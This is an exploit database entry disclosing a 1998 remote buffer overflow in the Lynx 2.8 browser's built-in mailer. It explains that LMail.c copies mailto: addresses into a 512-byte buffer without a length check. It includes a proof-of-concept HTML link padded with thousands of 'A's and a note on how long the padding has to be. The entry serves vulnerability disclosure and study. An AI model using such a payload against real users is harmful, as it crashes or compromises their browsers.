Lynx 2.8 - Remote Buffer Overflow

Author: Michal Zalewski
type: remote
platform: multiple
port: 0
date_added: 1998-05-03
date_updated: 2012-06-11
verified: 1
codes: OSVDB-61213
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/100/info

There exists a buffer overflow in Lynx's built-in mailer that can be exploited when when the victim tries to follow a hyperlink. Lynx makes blind assumption on e-mail address length, and sprintfs it into 512-bytes long buffer. The vulnerability is in LMail.c as part of the processing of "mailto:" URLs.

<a href="mailto:AAAAAAAAA[...about 3 kB...]AAAA">MAIL ME!</a>

(you should use over 2 kB of 'A's, because there are also other small
buffers on lynx's stack at the time)